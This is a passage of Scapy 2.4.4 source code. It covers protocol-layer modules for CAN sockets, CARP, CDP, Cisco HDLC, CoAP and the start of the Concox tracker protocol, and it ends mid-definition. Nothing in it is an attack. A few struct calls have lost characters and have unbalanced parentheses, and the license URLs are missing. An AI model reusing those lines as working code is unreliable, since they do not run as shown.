self.remove_padding: return canpkt else: return canpkt / Padding(pkt[len + 8:]) def send(self, x): try: if hasattr(x, "sent_time"): x.sent_time = time.time() # need to change the byte order of the first four bytes, # required by the underlying Linux SocketCAN frame format bs = bytes(x) if not conf.contribs['CAN']['swap-bytes']: bs = bs + b'\x00' * (CAN_FRAME_SIZE - len(bs)) bs = struct.pack("I12s", bs)) return SuperSocket.send(self, bs) except socket.error as msg: raise msg def close(self): self.ins.close() CANSocket = NativeCANSocket scapy-2.4.4/scapy/contrib/cansocket_python_can.py000066400000000000000000000136371372370053500222040ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = Python-Can CANSocket # scapy.contrib.status = loads """ Python-CAN CANSocket Wrapper. """ import time import struct import threading import copy from functools import reduce from operator import add from scapy.config import conf from scapy.supersocket import SuperSocket from scapy.layers.can import CAN from scapy.error import warning from scapy.modules.six.moves import queue from can import Message as can_Message from can import CanError as can_CanError from can import BusABC as can_BusABC from can.interface import Bus as can_Bus CAN_FRAME_SIZE = 16 CAN_INV_FILTER = 0x20000000 class SocketMapper: def __init__(self, bus, sockets): self.bus = bus # type: can_BusABC self.sockets = sockets # type: list[SocketWrapper] def mux(self): while True: try: msg = self.bus.recv(timeout=0) if msg is None: return for sock in self.sockets: if sock._matches_filters(msg): sock.rx_queue.put(copy.copy(msg)) except Exception as e: warning("[MUX] python-can exception caught: %s" % e) class SocketsPool(object): __instance = None def __new__(cls): if SocketsPool.__instance is None: SocketsPool.__instance = object.__new__(cls) SocketsPool.__instance.pool = dict() SocketsPool.__instance.pool_mutex = threading.Lock() return SocketsPool.__instance def internal_send(self, sender, msg): with self.pool_mutex: try: mapper = self.pool[sender.name] mapper.bus.send(msg) for sock in mapper.sockets: if sock == sender: continue if not sock._matches_filters(msg): continue m = copy.copy(msg) m.timestamp = time.time() sock.rx_queue.put(m) except KeyError: warning("[SND] Socket %s not found in pool" % sender.name) except can_CanError as e: warning("[SND] python-can exception caught: %s" % e) def multiplex_rx_packets(self): with self.pool_mutex: for _, t in self.pool.items(): t.mux() def register(self, socket, *args, **kwargs): k = str( str(kwargs.get("bustype", "unknown_bustype")) + "_" + str(kwargs.get("channel", "unknown_channel")) ) with self.pool_mutex: if k in self.pool: t = self.pool[k] t.sockets.append(socket) filters = [s.filters for s in t.sockets if s.filters is not None] if filters: t.bus.set_filters(reduce(add, filters)) socket.name = k else: bus = can_Bus(*args, **kwargs) socket.name = k self.pool[k] = SocketMapper(bus, [socket]) def unregister(self, socket): with self.pool_mutex: try: t = self.pool[socket.name] t.sockets.remove(socket) if not t.sockets: t.bus.shutdown() del self.pool[socket.name] except KeyError: warning("Socket %s already removed from pool" % socket.name) class SocketWrapper(can_BusABC): """Socket for specific Bus or Interface. """ def __init__(self, *args, **kwargs): super(SocketWrapper, self).__init__(*args, **kwargs) self.rx_queue = queue.Queue() # type: queue.Queue[can_Message] self.name = None SocketsPool().register(self, *args, **kwargs) def _recv_internal(self, timeout): SocketsPool().multiplex_rx_packets() try: return self.rx_queue.get(block=True, timeout=timeout), True except queue.Empty: return None, True def send(self, msg, timeout=None): SocketsPool().internal_send(self, msg) def shutdown(self): SocketsPool().unregister(self) class PythonCANSocket(SuperSocket): desc = "read/write packets at a given CAN interface " \ "using a python-can bus object" nonblocking_socket = True def __init__(self, **kwargs): self.basecls = kwargs.pop("basecls", CAN) self.iface = SocketWrapper(**kwargs) def recv_raw(self, x=0xffff): msg = self.iface.recv() hdr = msg.is_extended_id << 31 | msg.is_remote_frame << 30 | \ msg.is_error_frame << 29 | msg.arbitration_id if conf.contribs['CAN']['swap-bytes']: hdr = struct.unpack("I", hdr))[0] dlc = msg.dlc << 24 pkt_data = struct.pack("!II", hdr, dlc) + bytes(msg.data) return self.basecls, pkt_data, msg.timestamp def send(self, x): msg = can_Message(is_remote_frame=x.flags == 0x2, is_extended_id=x.flags == 0x4, is_error_frame=x.flags == 0x1, arbitration_id=x.identifier, dlc=x.length, data=bytes(x)[8:]) try: x.sent_time = time.time() except AttributeError: pass self.iface.send(msg) @staticmethod def select(sockets, *args, **kwargs): SocketsPool().multiplex_rx_packets() return [s for s in sockets if isinstance(s, PythonCANSocket) and not s.iface.rx_queue.empty()], PythonCANSocket.recv def close(self): if self.closed: return super(PythonCANSocket, self).close() self.iface.shutdown() CANSocket = PythonCANSocket scapy-2.4.4/scapy/contrib/carp.py000066400000000000000000000053571372370053500167350ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Common Address Redundancy Protocol (CARP) # scapy.contrib.status = loads import struct import hmac import hashlib from scapy.packet import Packet, split_layers, bind_layers from scapy.layers.inet import IP from scapy.fields import BitField, ByteField, XShortField, XIntField from scapy.layers.vrrp import IPPROTO_VRRP, VRRP, VRRPv3 from scapy.utils import checksum, inet_aton from scapy.error import warning class CARP(Packet): name = "CARP" fields_desc = [BitField("version", 4, 4), BitField("type", 4, 4), ByteField("vhid", 1), ByteField("advskew", 0), ByteField("authlen", 0), ByteField("demotion", 0), ByteField("advbase", 0), XShortField("chksum", None), XIntField("counter1", 0), XIntField("counter2", 0), XIntField("hmac1", 0), XIntField("hmac2", 0), XIntField("hmac3", 0), XIntField("hmac4", 0), XIntField("hmac5", 0) ] def post_build(self, pkt, pay): if self.chksum is None: pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] return pkt def build_hmac_sha1(self, pw=b'\x00' * 20, ip4l=[], ip6l=[]): h = hmac.new(pw, digestmod=hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field # noqa: E501 h.update(b'\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', self.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest() warning("CARP overwrites VRRP !") # This cancel the bindings done in vrrp.py split_layers(IP, VRRP, proto=IPPROTO_VRRP) split_layers(IP, VRRPv3, proto=IPPROTO_VRRP) # CARP bindings bind_layers(IP, CARP, proto=112, dst='224.0.0.18') scapy-2.4.4/scapy/contrib/cdp.py000066400000000000000000000344221372370053500165510ustar00rootroot00000000000000# scapy.contrib.description = Cisco Discovery Protocol (CDP) # scapy.contrib.status = loads ############################################################################# # # # cdp.py --- Cisco Discovery Protocol (CDP) extension for Scapy # # # # Copyright (C) 2006 Nicolas Bareil # # Arnaud Ebalard # # EADS/CRC security team # # # # This file is part of Scapy # # Scapy is free software: you can redistribute it and/or modify it # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation; version 2. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # # # ############################################################################# from __future__ import absolute_import import struct from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, FieldLenField, FlagsField, \ IP6Field, IPField, PacketListField, ShortField, StrLenField, \ X3BytesField, XByteField, XShortEnumField, XShortField from scapy.layers.inet import checksum from scapy.layers.l2 import SNAP from scapy.compat import orb, chb from scapy.modules.six.moves import range from scapy.config import conf ##################################################################### # Helpers and constants ##################################################################### # CDP TLV classes keyed by type _cdp_tlv_cls = {0x0001: "CDPMsgDeviceID", 0x0002: "CDPMsgAddr", 0x0003: "CDPMsgPortID", 0x0004: "CDPMsgCapabilities", 0x0005: "CDPMsgSoftwareVersion", 0x0006: "CDPMsgPlatform", 0x0008: "CDPMsgProtoHello", 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2 0x000a: "CDPMsgNativeVLAN", # CDPv2 0x000b: "CDPMsgDuplex", # # 0x000c: "CDPMsgGeneric", # 0x000d: "CDPMsgGeneric", 0x000e: "CDPMsgVoIPVLANReply", 0x000f: "CDPMsgVoIPVLANQuery", 0x0010: "CDPMsgPower", 0x0011: "CDPMsgMTU", 0x0012: "CDPMsgTrustBitmap", 0x0013: "CDPMsgUntrustedPortCoS", # 0x0014: "CDPMsgSystemName", # 0x0015: "CDPMsgSystemOID", 0x0016: "CDPMsgMgmtAddr", # 0x0017: "CDPMsgLocation", 0x0019: "CDPMsgUnknown19", # 0x001a: "CDPPowerAvailable" } _cdp_tlv_types = {0x0001: "Device ID", 0x0002: "Addresses", 0x0003: "Port ID", 0x0004: "Capabilities", 0x0005: "Software Version", 0x0006: "Platform", 0x0007: "IP Prefix", 0x0008: "Protocol Hello", 0x0009: "VTP Management Domain", # CDPv2 0x000a: "Native VLAN", # CDPv2 0x000b: "Duplex", # 0x000c: "CDP Unknown command (send us a pcap file)", 0x000d: "CDP Unknown command (send us a pcap file)", 0x000e: "VoIP VLAN Reply", 0x000f: "VoIP VLAN Query", 0x0010: "Power", 0x0011: "MTU", 0x0012: "Trust Bitmap", 0x0013: "Untrusted Port CoS", 0x0014: "System Name", 0x0015: "System OID", 0x0016: "Management Address", 0x0017: "Location", 0x0018: "CDP Unknown command (send us a pcap file)", 0x0019: "CDP Unknown command (send us a pcap file)", 0x001a: "Power Available"} def _CDPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] if t == 0x0007 and len(p) > 4: tmp_len = struct.unpack("!H", p[2:4])[0] if tmp_len == 8: clsname = "CDPMsgIPGateway" else: clsname = "CDPMsgIPPrefix" else: clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric") cls = globals()[clsname] return cls(p, **kargs) class CDPMsgGeneric(Packet): name = "CDP Generic Message" fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H", adjust=lambda pkt, x: x + 4), StrLenField("val", "", length_from=lambda x:x.len - 4, max_length=65531)] def guess_payload_class(self, p): return conf.padding_layer # _CDPGuessPayloadClass class CDPMsgDeviceID(CDPMsgGeneric): name = "Device ID" type = 0x0001 _cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"} _cdp_addrrecord_proto_ip = b"\xcc" _cdp_addrrecord_proto_ipv6 = b"\xaa\xaa\x03\x00\x00\x00\x86\xdd" class CDPAddrRecord(Packet): name = "CDP Address" fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", None, "proto", "B"), StrLenField("proto", None, length_from=lambda x:x.plen, max_length=255), FieldLenField("addrlen", None, length_of=lambda x:x.addr), StrLenField("addr", None, length_from=lambda x:x.addrlen, max_length=65535)] def guess_payload_class(self, p): return conf.padding_layer class CDPAddrRecordIPv4(CDPAddrRecord): name = "CDP Address IPv4" fields_desc = [ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", 1, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ip, length_from=lambda x: x.plen, max_length=255), ShortField("addrlen", 4), IPField("addr", "0.0.0.0")] class CDPAddrRecordIPv6(CDPAddrRecord): name = "CDP Address IPv6" fields_desc = [ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype), FieldLenField("plen", 8, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ipv6, length_from=lambda x:x.plen, max_length=255), ShortField("addrlen", 16), IP6Field("addr", "::1")] def _CDPGuessAddrRecord(p, **kargs): cls = conf.raw_layer if len(p) >= 2: plen = orb(p[1]) proto = p[2:plen + 2] if proto == _cdp_addrrecord_proto_ip: clsname = "CDPAddrRecordIPv4" elif proto == _cdp_addrrecord_proto_ipv6: clsname = "CDPAddrRecordIPv6" else: clsname = "CDPAddrRecord" cls = globals()[clsname] return cls(p, **kargs) class CDPMsgAddr(CDPMsgGeneric): name = "Addresses" fields_desc = [XShortEnumField("type", 0x0002, _cdp_tlv_types), ShortField("len", None), FieldLenField("naddr", None, "addr", "!I"), PacketListField("addr", [], _CDPGuessAddrRecord, length_from=lambda x:x.len - 8)] def post_build(self, pkt, pay): if self.len is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] p = pkt + pay return p class CDPMsgPortID(CDPMsgGeneric): name = "Port ID" fields_desc = [XShortEnumField("type", 0x0003, _cdp_tlv_types), FieldLenField("len", None, "iface", "!H", adjust=lambda pkt, x: x + 4), StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4)] # noqa: E501 _cdp_capabilities = ["Router", "TransparentBridge", "SourceRouteBridge", "Switch", "Host", "IGMPCapable", "Repeater"] + ["Bit%d" % x for x in range(25, 0, -1)] class CDPMsgCapabilities(CDPMsgGeneric): name = "Capabilities" fields_desc = [XShortEnumField("type", 0x0004, _cdp_tlv_types), ShortField("len", 8), FlagsField("cap", 0, 32, _cdp_capabilities)] class CDPMsgSoftwareVersion(CDPMsgGeneric): name = "Software Version" type = 0x0005 class CDPMsgPlatform(CDPMsgGeneric): name = "Platform" type = 0x0006 _cdp_duplex = {0x00: "Half", 0x01: "Full"} # ODR Routing class CDPMsgIPGateway(CDPMsgGeneric): name = "IP Gateway" type = 0x0007 fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 8), IPField("defaultgw", "192.168.0.1")] class CDPMsgIPPrefix(CDPMsgGeneric): name = "IP Prefix" type = 0x0007 fields_desc = [XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 9), IPField("prefix", "192.168.0.1"), ByteField("plen", 24)] class CDPMsgProtoHello(CDPMsgGeneric): name = "Protocol Hello" type = 0x0008 fields_desc = [XShortEnumField("type", 0x0008, _cdp_tlv_types), ShortField("len", 32), X3BytesField("oui", 0x00000c), XShortField("protocol_id", 0x0), # TLV length (len) - 2 (type) - 2 (len) - 3 (OUI) - 2 # (Protocol ID) StrLenField("data", "", length_from=lambda p: p.len - 9)] class CDPMsgVTPMgmtDomain(CDPMsgGeneric): name = "VTP Management Domain" type = 0x0009 class CDPMsgNativeVLAN(CDPMsgGeneric): name = "Native VLAN" fields_desc = [XShortEnumField("type", 0x000a, _cdp_tlv_types), ShortField("len", 6), ShortField("vlan", 1)] class CDPMsgDuplex(CDPMsgGeneric): name = "Duplex" fields_desc = [XShortEnumField("type", 0x000b, _cdp_tlv_types), ShortField("len", 5), ByteEnumField("duplex", 0x00, _cdp_duplex)] class CDPMsgVoIPVLANReply(CDPMsgGeneric): name = "VoIP VLAN Reply" fields_desc = [XShortEnumField("type", 0x000e, _cdp_tlv_types), ShortField("len", 7), ByteField("status?", 1), ShortField("vlan", 1)] class CDPMsgVoIPVLANQuery(CDPMsgGeneric): name = "VoIP VLAN Query" type = 0x000f fields_desc = [XShortEnumField("type", 0x000f, _cdp_tlv_types), FieldLenField("len", None, "unknown2", fmt="!H", adjust=lambda pkt, x: x + 7), XByteField("unknown1", 0), ShortField("vlan", 1), # TLV length (len) - 2 (type) - 2 (len) - 1 (unknown1) - 2 (vlan) # noqa: E501 StrLenField("unknown2", "", length_from=lambda p: p.len - 7, max_length=65528)] class _CDPPowerField(ShortField): def i2repr(self, pkt, x): if x is None: x = 0 return "%d mW" % x class CDPMsgPower(CDPMsgGeneric): name = "Power" # Check if field length is fixed (2 bytes) fields_desc = [XShortEnumField("type", 0x0010, _cdp_tlv_types), ShortField("len", 6), _CDPPowerField("power", 1337)] class CDPMsgMTU(CDPMsgGeneric): name = "MTU" # Check if field length is fixed (2 bytes) fields_desc = [XShortEnumField("type", 0x0011, _cdp_tlv_types), ShortField("len", 6), ShortField("mtu", 1500)] class CDPMsgTrustBitmap(CDPMsgGeneric): name = "Trust Bitmap" fields_desc = [XShortEnumField("type", 0x0012, _cdp_tlv_types), ShortField("len", 5), XByteField("trust_bitmap", 0x0)] class CDPMsgUntrustedPortCoS(CDPMsgGeneric): name = "Untrusted Port CoS" fields_desc = [XShortEnumField("type", 0x0013, _cdp_tlv_types), ShortField("len", 5), XByteField("untrusted_port_cos", 0x0)] class CDPMsgMgmtAddr(CDPMsgAddr): name = "Management Address" type = 0x0016 class CDPMsgUnknown19(CDPMsgGeneric): name = "Unknown CDP Message" type = 0x0019 class CDPMsg(CDPMsgGeneric): name = "CDP " fields_desc = [XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", fmt="!H", adjust=lambda pkt, x: x + 4), StrLenField("val", "", length_from=lambda x:x.len - 4, max_length=65531)] class _CDPChecksum: def _check_len(self, pkt): """Check for odd packet length and pad according to Cisco spec. This padding is only used for checksum computation. The original packet should not be altered.""" if len(pkt) % 2: last_chr = orb(pkt[-1]) if last_chr <= 0x80: return pkt[:-1] + b'\x00' + chb(last_chr) else: return pkt[:-1] + b'\xff' + chb(orb(last_chr) - 1) else: return pkt def post_build(self, pkt, pay): p = pkt + pay if self.cksum is None: cksum = checksum(self._check_len(p)) p = p[:2] + struct.pack("!H", cksum) + p[4:] return p class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric): name = "Cisco Discovery Protocol version 2" fields_desc = [ByteField("vers", 2), ByteField("ttl", 180), XShortField("cksum", None), PacketListField("msg", [], _CDPGuessPayloadClass)] bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC}) scapy-2.4.4/scapy/contrib/chdlc.py000066400000000000000000000051311372370053500170530ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Cisco HDLC and SLARP # scapy.contrib.status = loads # This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt # noqa: E501 from scapy.data import DLT_C_HDLC from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ IntEnumField, IntField, IPField, XShortField from scapy.layers.l2 import Dot3, STP from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.config import conf class CHDLC(Packet): name = "Cisco HDLC" fields_desc = [ByteEnumField("address", 0x0f, {0x0f: "unicast", 0x8f: "multicast"}), # noqa: E501 ByteField("control", 0), XShortField("proto", 0x0800)] class SLARP(Packet): name = "SLARP" fields_desc = [IntEnumField("type", 2, {0: "request", 1: "reply", 2: "line keepalive"}), # noqa: E501 ConditionalField(IPField("address", "192.168.0.1"), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(IPField("mask", "255.255.255.0"), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(XShortField("unused", 0), lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 ConditionalField(IntField("mysequence", 0), lambda pkt: pkt.type == 2), ConditionalField(IntField("yoursequence", 0), lambda pkt: pkt.type == 2), ConditionalField(XShortField("reliability", 0xffff), lambda pkt: pkt.type == 2)] bind_layers(CHDLC, Dot3, proto=0x6558) bind_layers(CHDLC, IP, proto=0x800) bind_layers(CHDLC, IPv6, proto=0x86dd) bind_layers(CHDLC, SLARP, proto=0x8035) bind_layers(CHDLC, STP, proto=0x4242) conf.l2types.register(DLT_C_HDLC, CHDLC) scapy-2.4.4/scapy/contrib/coap.py000066400000000000000000000155521372370053500167300ustar00rootroot00000000000000# This file is part of Scapy. # See http://www.secdev.org/projects/scapy for more information. # # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # # Copyright (C) 2016 Anmol Sarma # scapy.contrib.description = Constrained Application Protocol (CoAP) # scapy.contrib.status = loads """ RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy """ import struct from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ ByteEnumField, ShortField, StrField, StrLenField from scapy.layers.inet import UDP from scapy.packet import Packet, bind_layers from scapy.error import warning from scapy.compat import raw coap_codes = { 0: "Empty", # Request codes 1: "GET", 2: "POST", 3: "PUT", 4: "DELETE", # Response codes 65: "2.01 Created", 66: "2.02 Deleted", 67: "2.03 Valid", 68: "2.04 Changed", 69: "2.05 Content", 128: "4.00 Bad Request", 129: "4.01 Unauthorized", 130: "4.02 Bad Option", 131: "4.03 Forbidden", 132: "4.04 Not Found", 133: "4.05 Method Not Allowed", 134: "4.06 Not Acceptable", 140: "4.12 Precondition Failed", 141: "4.13 Request Entity Too Large", 143: "4.15 Unsupported Content-Format", 160: "5.00 Internal Server Error", 161: "5.01 Not Implemented", 162: "5.02 Bad Gateway", 163: "5.03 Service Unavailable", 164: "5.04 Gateway Timeout", 165: "Proxying Not Supported"} coap_options = ({ 1: "If-Match", 3: "Uri-Host", 4: "ETag", 5: "If-None-Match", 7: "Uri-Port", 8: "Location-Path", 11: "Uri-Path", 12: "Content-Format", 14: "Max-Age", 15: "Uri-Query", 17: "Accept", 20: "Location-Query", 35: "Proxy-Uri", 39: "Proxy-Scheme", 60: "Size1" }, { "If-Match": 1, "Uri-Host": 3, "ETag": 4, "If-None-Match": 5, "Uri-Port": 7, "Location-Path": 8, "Uri-Path": 11, "Content-Format": 12, "Max-Age": 14, "Uri-Query": 15, "Accept": 17, "Location-Query": 20, "Proxy-Uri": 35, "Proxy-Scheme": 39, "Size1": 60 }) def _get_ext_field_size(val): if val >= 15: warning("Invalid Option Delta or Length") if val == 14: return 2 if val == 13: return 1 return 0 def _get_delta_ext_size(pkt): return _get_ext_field_size(pkt.delta) def _get_len_ext_size(pkt): return _get_ext_field_size(pkt.len) def _get_abs_val(val, ext_val): if val >= 15: warning("Invalid Option Length or Delta %d" % val) if val == 14: return 269 + struct.unpack('H', ext_val)[0] if val == 13: return 13 + struct.unpack('B', ext_val)[0] return val def _get_opt_val_size(pkt): return _get_abs_val(pkt.len, pkt.len_ext) class _CoAPOpt(Packet): fields_desc = [BitField("delta", 0, 4), BitField("len", 0, 4), StrLenField("delta_ext", None, length_from=_get_delta_ext_size), # noqa: E501 StrLenField("len_ext", None, length_from=_get_len_ext_size), StrLenField("opt_val", None, length_from=_get_opt_val_size)] @staticmethod def _populate_extended(val): if val >= 269: return struct.pack('H', val - 269), 14 if val >= 13: return struct.pack('B', val - 13), 13 return None, val def do_build(self): self.delta_ext, self.delta = self._populate_extended(self.delta) self.len_ext, self.len = self._populate_extended(len(self.opt_val)) return Packet.do_build(self) def guess_payload_class(self, payload): if payload[:1] != b"\xff": return _CoAPOpt else: return Packet.guess_payload_class(self, payload) class _CoAPOptsField(StrField): islist = 1 def i2h(self, pkt, x): return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x] # noqa: E501 # consume only the coap layer from the wire string def getfield(self, pkt, s): opts = self.m2i(pkt, s) used = 0 for o in opts: used += o[0] return s[used:], [(o[1], o[2]) for o in opts] def m2i(self, pkt, x): opts = [] o = _CoAPOpt(x) cur_delta = 0 while isinstance(o, _CoAPOpt): cur_delta += _get_abs_val(o.delta, o.delta_ext) # size of this option in bytes u = 1 + len(o.opt_val) + len(o.delta_ext) + len(o.len_ext) opts.append((u, cur_delta, o.opt_val)) o = o.payload return opts def i2m(self, pkt, x): if not x: return b"" opt_lst = [] for o in x: if isinstance(o[0], str): opt_lst.append((coap_options[1][o[0]], o[1])) else: opt_lst.append(o) opt_lst.sort(key=lambda o: o[0]) opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1]) high_opt = opt_lst[0][0] for o in opt_lst[1:]: opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1]) high_opt = o[0] return raw(opts) class _CoAPPaymark(StrField): def i2h(self, pkt, x): return x def getfield(self, pkt, s): (u, m) = self.m2i(pkt, s) return s[u:], m def m2i(self, pkt, x): if len(x) > 0 and x[:1] == b"\xff": return 1, b'\xff' return 0, b'' def i2m(self, pkt, x): return x class CoAP(Packet): __slots__ = ["content_format"] name = "CoAP" fields_desc = [BitField("ver", 1, 2), BitEnumField("type", 0, 2, {0: "CON", 1: "NON", 2: "ACK", 3: "RST"}), # noqa: E501 BitFieldLenField("tkl", None, 4, length_of='token'), ByteEnumField("code", 0, coap_codes), ShortField("msg_id", 0), StrLenField("token", "", length_from=lambda pkt: pkt.tkl), _CoAPOptsField("options", []), _CoAPPaymark("paymark", b"") ] def getfieldval(self, attr): v = getattr(self, attr) if v: return v return Packet.getfieldval(self, attr) def post_dissect(self, pay): for k in self.options: if k[0] == "Content-Format": self.content_format = k[1] return pay bind_layers(UDP, CoAP, sport=5683) bind_layers(UDP, CoAP, dport=5683) scapy-2.4.4/scapy/contrib/concox.py000066400000000000000000000277471372370053500173100ustar00rootroot00000000000000# Copyright (C) 2019 Juciano Cardoso # 2019 Guillaume Valadon ## # This program is published under a GPLv2 license # scapy.contrib.description = Concox CRX1 unit tests # scapy.contrib.status = loads import binascii from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP, UDP from scapy.fields import BitField, BitEnumField, X3BytesField, ShortField, \ XShortField, FieldLenField, PacketLenField, XByteField, XByteEnumField, \ ByteEnumField, StrFixedLenField, ConditionalField, FlagsField, ByteField, \ IntField, XIntField, StrLenField, ScalingField PROTOCOL_NUMBERS = { 0x01: 'LOGIN MESSAGE', 0x13: 'HEARTBEAT', 0x12: 'LOCATION', 0x16: 'ALARM', 0x80: 'ONLINE COMMAND', 0x15: 'ONLINE COMMAND REPLYED', 0x94: 'INFORMATION TRANSMISSION', } SUBPROTOCOL_NUMBERS = { 0x00: "EXTERNAL POWER VOLTAGE", 0x04: "TERMINAL STATUS SYNCHRONIZATION", 0x05: "DOOR STATUS", } VOLTAGE_LEVELS = { 0x00: "No Power (Shutdown)", 0x01: "Extremely Low Battery", 0x02: "Very Low Battery", 0x03: "Low Battery", 0x04: "Medium", 0x05: "High", 0x06: "Very High", } GSM_SIGNAL_STRENGTH = { 0x00: "No Signal", 0x01: "Extremely Weak Signal", 0x02: "Very Weak Signal", 0x03: "Good Signal", 0x04: "Strong Signal", } LANGUAGE = { 0x01: "Chinese", 0x02: "English", } class BCDStrFixedLenField(StrFixedLenField): def i2h(self, pkt, x): if isinstance(x, bytes): return binascii.b2a_hex(x) return binascii.a2b_hex(x) class CRX1NewPacketContent(Packet): name = "CRX1 New Packet Content" fields_desc = [ XByteEnumField('protocol_number', 0x12, PROTOCOL_NUMBERS), # Login ConditionalField( BCDStrFixedLenField('terminal_id', '00000000', length=8), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number == 0x01), # GPS Location ConditionalField( ByteField('year', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('month', 0x01), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( ByteField('day', 0x01), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('hour', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. protocol_number in (0x12, 0x16)), ConditionalField( ByteField('minute', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('second', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitField('gps_information_length', 0x00, 4), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitField('positioning_satellite_number', 0x00, 4), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ScalingField('latitude', 0x00, scaling=1.0 / 1800000, ndigits=6, fmt="!I"), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( ScalingField('longitude', 0x00, scaling=1.0 / 1800000, ndigits=6, fmt="!I"), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('speed', 0x00), lambda pkt: len(pkt.original) > 5 and pkt .protocol_number in (0x12, 0x16)), ConditionalField( BitField('course', 0x00, 10), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( BitEnumField('latitude_hemisphere', 0x00, 1, { 0: "South", 1: "North" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('longitude_hemisphere', 0x00, 1, { 0: "East", 1: "West" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('gps_been_positioning', 0x00, 1, { 0: "No", 1: "Yes" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitEnumField('gps_status', 0x00, 1, { 0: "GPS real-time", 1: "Differential positioning" }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( 0x12, 0x16)), ConditionalField( BitField('course_status_reserved', 0x00, 2), lambda pkt: len( pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), ConditionalField( ByteField('lbs_length', 0x00), lambda pkt: len(pkt.original) > 5 and \ pkt.protocol_number in (0x16, )), ConditionalField( XShortField('mcc', 